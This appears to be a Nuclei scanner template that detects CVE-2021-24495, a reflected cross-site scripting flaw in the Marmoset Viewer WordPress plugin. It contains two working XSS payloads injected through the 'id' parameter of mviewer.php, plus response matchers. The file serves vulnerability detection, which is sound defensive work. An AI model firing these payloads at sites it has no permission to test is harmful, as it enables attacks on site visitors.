id: CVE-2021-24495

info:
  name: Wordpress Plugin Marmoset Viewer XSS
  author: johnjhacking
  severity: medium
  description: The Marmoset Viewer WordPress plugin before 1.9.3 does not property sanitize, validate or escape the 'id' parameter before outputting back in the page, leading to a reflected Cross-Site Scripting issue.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
  tags: xss,wpscan,cve,cve2021,wp-plugin,wordpress

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</script><svg/onload=alert('{{randstr}}')>"
          - "alert(/{{randstr}}/)"
        part: body
        condition: or

      - type: word
        words:
          - "Marmoset Viewer"